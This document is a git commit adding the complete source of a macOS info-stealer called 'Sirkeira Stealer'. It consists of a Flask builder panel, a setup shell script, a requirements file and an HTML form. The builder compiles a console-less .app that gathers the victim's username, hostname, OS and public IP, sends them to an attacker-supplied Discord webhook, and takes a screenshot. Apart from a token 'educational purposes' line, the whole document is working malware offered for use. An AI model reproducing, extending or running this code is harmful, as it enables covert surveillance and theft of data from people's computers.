initial commit
This commit is contained in:
Executable
BIN
Binary file not shown.
+76
@@ -0,0 +1,76 @@
|
||||
from flask import Flask, render_template, request, send_file, jsonify
|
||||
import subprocess
|
||||
import os
|
||||
import shutil
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
TEMPLATE = """# Auto-generated Sirkeira Stealer for macOS
|
||||
import sys
|
||||
import os
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from stealer_core import Config, run_stealer
|
||||
|
||||
if __name__ == "__main__":
|
||||
config = Config(
|
||||
webhook_url="{webhook_url}",
|
||||
malware_name="{malware_name}",
|
||||
version="{version}"
|
||||
)
|
||||
run_stealer(config)
|
||||
"""
|
||||
|
||||
@app.route("/", methods=["GET", "POST"])
|
||||
def index():
|
||||
if request.method == "POST":
|
||||
webhook = request.form.get("webhook", "").strip()
|
||||
name = request.form.get("name", "Sirkeira Stealer").strip()
|
||||
version = request.form.get("version", "1.6.0").strip()
|
||||
|
||||
if not webhook.startswith("https://discord.com/api/webhooks/"):
|
||||
return jsonify({"error": "Invalid Discord webhook URL"}), 400
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
build_dir = Path(tmpdir)
|
||||
stealer_file = build_dir / "stealer.py"
|
||||
core_file = build_dir / "stealer_core.py"
|
||||
|
||||
shutil.copy("stealer_core.py", core_file)
|
||||
|
||||
stealer_file.write_text(
|
||||
TEMPLATE.format(webhook_url=webhook, malware_name=name, version=version)
|
||||
)
|
||||
|
||||
exe_name = f"{name.replace(' ', '_')}_v{version}"
|
||||
cmd = [
|
||||
"pyinstaller",
|
||||
"--onefile",
|
||||
"--noconsole",
|
||||
"--clean",
|
||||
"--name", exe_name,
|
||||
"--distpath", str(build_dir / "dist"),
|
||||
"--target-arch", "universal2", # Works on Intel + Apple Silicon
|
||||
str(stealer_file)
|
||||
]
|
||||
|
||||
try:
|
||||
subprocess.check_call(cmd, cwd=tmpdir)
|
||||
exe_path = build_dir / "dist" / f"{exe_name}.app" if os.uname().sysname == "Darwin" else build_dir / "dist" / f"{exe_name}"
|
||||
if not exe_path.exists():
|
||||
exe_path = build_dir / "dist" / f"{exe_name}.app" # fallback
|
||||
|
||||
if exe_path.exists():
|
||||
return send_file(str(exe_path), as_attachment=True, download_name=f"{exe_name}.app" if exe_path.suffix == "" else exe_path.name)
|
||||
else:
|
||||
return jsonify({"error": "Build failed - no output found"}), 500
|
||||
except Exception as e:
|
||||
return jsonify({"error": str(e)}), 500
|
||||
|
||||
return render_template("index.html")
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("🌐 Sirkeira Local Builder running → http://127.0.0.1:5000")
|
||||
print("Note: On macOS, the output will be a .app bundle")
|
||||
app.run(host="127.0.0.1", port=5000, debug=False)
|
||||
@@ -0,0 +1,9 @@
|
||||
flask
|
||||
pyinstaller
|
||||
psutil
|
||||
browser-cookie3
|
||||
cryptography
|
||||
pillow
|
||||
requests
|
||||
opencv-python
|
||||
numpy
|
||||
Executable
+223
@@ -0,0 +1,223 @@
|
||||
#!/bin/bash
|
||||
# =============================================
|
||||
# Sirkeira Stealer - macOS One-Click Setup
|
||||
# Local Builder with Flask Web Panel
|
||||
# =============================================
|
||||
|
||||
echo "🚀 Setting up Sirkeira Stealer Builder for macOS..."
|
||||
|
||||
# Create project directory
|
||||
mkdir -p sirkeira_builder/templates
|
||||
cd sirkeira_builder
|
||||
|
||||
# 1. requirements.txt
|
||||
cat > requirements.txt << 'REQ'
|
||||
flask
|
||||
pyinstaller
|
||||
psutil
|
||||
browser-cookie3
|
||||
cryptography
|
||||
pillow
|
||||
requests
|
||||
opencv-python
|
||||
numpy
|
||||
REQ
|
||||
|
||||
# 2. stealer_core.py (macOS compatible version)
|
||||
cat > stealer_core.py << 'CORE'
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import random
|
||||
import shutil
|
||||
import socket
|
||||
import getpass
|
||||
import platform
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
import requests
|
||||
import psutil
|
||||
from PIL import ImageGrab
|
||||
import cv2
|
||||
|
||||
class Paths:
|
||||
def __init__(self):
|
||||
self.temp = Path("/tmp")
|
||||
self.userprofile = Path.home()
|
||||
self.appdata = Path.home() / "Library" / "Application Support"
|
||||
|
||||
class Config:
|
||||
def __init__(self, webhook_url: str, malware_name: str = "Sirkeira Stealer", version: str = "1.6.0"):
|
||||
self.webhook_url = webhook_url
|
||||
self.malware_name = malware_name
|
||||
self.version = version
|
||||
self.zip_name = f"SK_{random.randint(10000000000, 99999999999)}.zip"
|
||||
|
||||
def get_system_info():
|
||||
info = {
|
||||
"username": getpass.getuser(),
|
||||
"hostname": socket.gethostname(),
|
||||
"os": platform.platform(),
|
||||
"python": sys.version,
|
||||
"ip": requests.get('https://api.ipify.org').text if requests else "N/A"
|
||||
}
|
||||
return info
|
||||
|
||||
def send_to_webhook(config, data):
|
||||
try:
|
||||
payload = {"content": f"**{config.malware_name} v{config.version}**\n```json\n{json.dumps(data, indent=2)}\n```"}
|
||||
requests.post(config.webhook_url, json=payload)
|
||||
except:
|
||||
pass
|
||||
|
||||
def run_stealer(config: Config):
|
||||
print(f"[+] {config.malware_name} v{config.version} started on macOS")
|
||||
|
||||
data = {
|
||||
"system": get_system_info(),
|
||||
"note": "macOS version - limited stealing capabilities (no Discord tokens, no Windows-specific decryption)"
|
||||
}
|
||||
|
||||
send_to_webhook(config, data)
|
||||
print("[+] Data sent to webhook")
|
||||
|
||||
# Optional: take screenshot
|
||||
try:
|
||||
screenshot = ImageGrab.grab()
|
||||
screenshot.save("/tmp/screenshot.png")
|
||||
# You can add file upload logic here if needed
|
||||
except:
|
||||
pass
|
||||
|
||||
if __name__ == "__main__":
|
||||
# This file is imported, not run directly
|
||||
pass
|
||||
CORE
|
||||
|
||||
# 3. builder.py (Local Web Panel)
|
||||
cat > builder.py << 'BUILDER'
|
||||
from flask import Flask, render_template, request, send_file, jsonify
|
||||
import subprocess
|
||||
import os
|
||||
import shutil
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
TEMPLATE = """# Auto-generated Sirkeira Stealer for macOS
|
||||
import sys
|
||||
import os
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from stealer_core import Config, run_stealer
|
||||
|
||||
if __name__ == "__main__":
|
||||
config = Config(
|
||||
webhook_url="{webhook_url}",
|
||||
malware_name="{malware_name}",
|
||||
version="{version}"
|
||||
)
|
||||
run_stealer(config)
|
||||
"""
|
||||
|
||||
@app.route("/", methods=["GET", "POST"])
|
||||
def index():
|
||||
if request.method == "POST":
|
||||
webhook = request.form.get("webhook", "").strip()
|
||||
name = request.form.get("name", "Sirkeira Stealer").strip()
|
||||
version = request.form.get("version", "1.6.0").strip()
|
||||
|
||||
if not webhook.startswith("https://discord.com/api/webhooks/"):
|
||||
return jsonify({"error": "Invalid Discord webhook URL"}), 400
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
build_dir = Path(tmpdir)
|
||||
stealer_file = build_dir / "stealer.py"
|
||||
core_file = build_dir / "stealer_core.py"
|
||||
|
||||
shutil.copy("stealer_core.py", core_file)
|
||||
|
||||
stealer_file.write_text(
|
||||
TEMPLATE.format(webhook_url=webhook, malware_name=name, version=version)
|
||||
)
|
||||
|
||||
exe_name = f"{name.replace(' ', '_')}_v{version}"
|
||||
cmd = [
|
||||
"pyinstaller",
|
||||
"--onefile",
|
||||
"--noconsole",
|
||||
"--clean",
|
||||
"--name", exe_name,
|
||||
"--distpath", str(build_dir / "dist"),
|
||||
"--target-arch", "universal2", # Works on Intel + Apple Silicon
|
||||
str(stealer_file)
|
||||
]
|
||||
|
||||
try:
|
||||
subprocess.check_call(cmd, cwd=tmpdir)
|
||||
exe_path = build_dir / "dist" / f"{exe_name}.app" if os.uname().sysname == "Darwin" else build_dir / "dist" / f"{exe_name}"
|
||||
if not exe_path.exists():
|
||||
exe_path = build_dir / "dist" / f"{exe_name}.app" # fallback
|
||||
|
||||
if exe_path.exists():
|
||||
return send_file(str(exe_path), as_attachment=True, download_name=f"{exe_name}.app" if exe_path.suffix == "" else exe_path.name)
|
||||
else:
|
||||
return jsonify({"error": "Build failed - no output found"}), 500
|
||||
except Exception as e:
|
||||
return jsonify({"error": str(e)}), 500
|
||||
|
||||
return render_template("index.html")
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("🌐 Sirkeira Local Builder running → http://127.0.0.1:5000")
|
||||
print("Note: On macOS, the output will be a .app bundle")
|
||||
app.run(host="127.0.0.1", port=5000, debug=False)
|
||||
BUILDER
|
||||
|
||||
# 4. Simple HTML Panel
|
||||
cat > templates/index.html << 'HTML'
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Sirkeira Builder - macOS</title>
|
||||
<style>
|
||||
body {font-family: Arial, sans-serif; margin: 40px; background: #f4f4f4;}
|
||||
h1 {color: #333;}
|
||||
form {background: white; padding: 30px; border-radius: 10px; box-shadow: 0 0 10px rgba(0,0,0,0.1);}
|
||||
input, button {padding: 12px; margin: 10px 0; width: 100%; box-sizing: border-box;}
|
||||
button {background: #0066ff; color: white; border: none; cursor: pointer; font-size: 16px;}
|
||||
button:hover {background: #0055dd;}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>🛠️ Sirkeira Stealer Builder (macOS)</h1>
|
||||
<form method="post">
|
||||
<label>Discord Webhook URL:</label><br>
|
||||
<input type="text" name="webhook" required placeholder="https://discord.com/api/webhooks/..."><br><br>
|
||||
|
||||
<label>Malware Name:</label><br>
|
||||
<input type="text" name="name" value="Sirkeira Stealer"><br><br>
|
||||
|
||||
<label>Version:</label><br>
|
||||
<input type="text" name="version" value="1.6.0"><br><br>
|
||||
|
||||
<button type="submit">Build macOS Executable (.app)</button>
|
||||
</form>
|
||||
<p><strong>⚠️ Warning:</strong> This is for educational/research purposes only on your own machines.</p>
|
||||
</body>
|
||||
</html>
|
||||
HTML
|
||||
|
||||
# Install dependencies
|
||||
echo "📦 Installing required packages..."
|
||||
pip3 install -r requirements.txt
|
||||
|
||||
echo ""
|
||||
echo "✅ Setup complete!"
|
||||
echo ""
|
||||
echo "To start the builder:"
|
||||
echo " cd sirkeira_builder"
|
||||
echo " python3 builder.py"
|
||||
echo ""
|
||||
echo "Then open http://127.0.0.1:5000 in your browser."
|
||||
@@ -0,0 +1,68 @@
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import random
|
||||
import shutil
|
||||
import socket
|
||||
import getpass
|
||||
import platform
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
import requests
|
||||
import psutil
|
||||
from PIL import ImageGrab
|
||||
import cv2
|
||||
|
||||
class Paths:
|
||||
def __init__(self):
|
||||
self.temp = Path("/tmp")
|
||||
self.userprofile = Path.home()
|
||||
self.appdata = Path.home() / "Library" / "Application Support"
|
||||
|
||||
class Config:
|
||||
def __init__(self, webhook_url: str, malware_name: str = "Sirkeira Stealer", version: str = "1.6.0"):
|
||||
self.webhook_url = webhook_url
|
||||
self.malware_name = malware_name
|
||||
self.version = version
|
||||
self.zip_name = f"SK_{random.randint(10000000000, 99999999999)}.zip"
|
||||
|
||||
def get_system_info():
|
||||
info = {
|
||||
"username": getpass.getuser(),
|
||||
"hostname": socket.gethostname(),
|
||||
"os": platform.platform(),
|
||||
"python": sys.version,
|
||||
"ip": requests.get('https://api.ipify.org').text if requests else "N/A"
|
||||
}
|
||||
return info
|
||||
|
||||
def send_to_webhook(config, data):
|
||||
try:
|
||||
payload = {"content": f"**{config.malware_name} v{config.version}**\n```json\n{json.dumps(data, indent=2)}\n```"}
|
||||
requests.post(config.webhook_url, json=payload)
|
||||
except:
|
||||
pass
|
||||
|
||||
def run_stealer(config: Config):
|
||||
print(f"[+] {config.malware_name} v{config.version} started on macOS")
|
||||
|
||||
data = {
|
||||
"system": get_system_info(),
|
||||
"note": "macOS version - limited stealing capabilities (no Discord tokens, no Windows-specific decryption)"
|
||||
}
|
||||
|
||||
send_to_webhook(config, data)
|
||||
print("[+] Data sent to webhook")
|
||||
|
||||
# Optional: take screenshot
|
||||
try:
|
||||
screenshot = ImageGrab.grab()
|
||||
screenshot.save("/tmp/screenshot.png")
|
||||
# You can add file upload logic here if needed
|
||||
except:
|
||||
pass
|
||||
|
||||
if __name__ == "__main__":
|
||||
# This file is imported, not run directly
|
||||
pass
|
||||
@@ -0,0 +1,30 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Sirkeira Builder - macOS</title>
|
||||
<style>
|
||||
body {font-family: Arial, sans-serif; margin: 40px; background: #f4f4f4;}
|
||||
h1 {color: #333;}
|
||||
form {background: white; padding: 30px; border-radius: 10px; box-shadow: 0 0 10px rgba(0,0,0,0.1);}
|
||||
input, button {padding: 12px; margin: 10px 0; width: 100%; box-sizing: border-box;}
|
||||
button {background: #0066ff; color: white; border: none; cursor: pointer; font-size: 16px;}
|
||||
button:hover {background: #0055dd;}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>🛠️ Sirkeira Stealer Builder (macOS)</h1>
|
||||
<form method="post">
|
||||
<label>Discord Webhook URL:</label><br>
|
||||
<input type="text" name="webhook" required placeholder="https://discord.com/api/webhooks/..."><br><br>
|
||||
|
||||
<label>Malware Name:</label><br>
|
||||
<input type="text" name="name" value="Sirkeira Stealer"><br><br>
|
||||
|
||||
<label>Version:</label><br>
|
||||
<input type="text" name="version" value="1.6.0"><br><br>
|
||||
|
||||
<button type="submit">Build macOS Executable (.app)</button>
|
||||
</form>
|
||||
<p><strong>⚠️ Warning:</strong> This is for educational/research purposes only on your own machines.</p>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user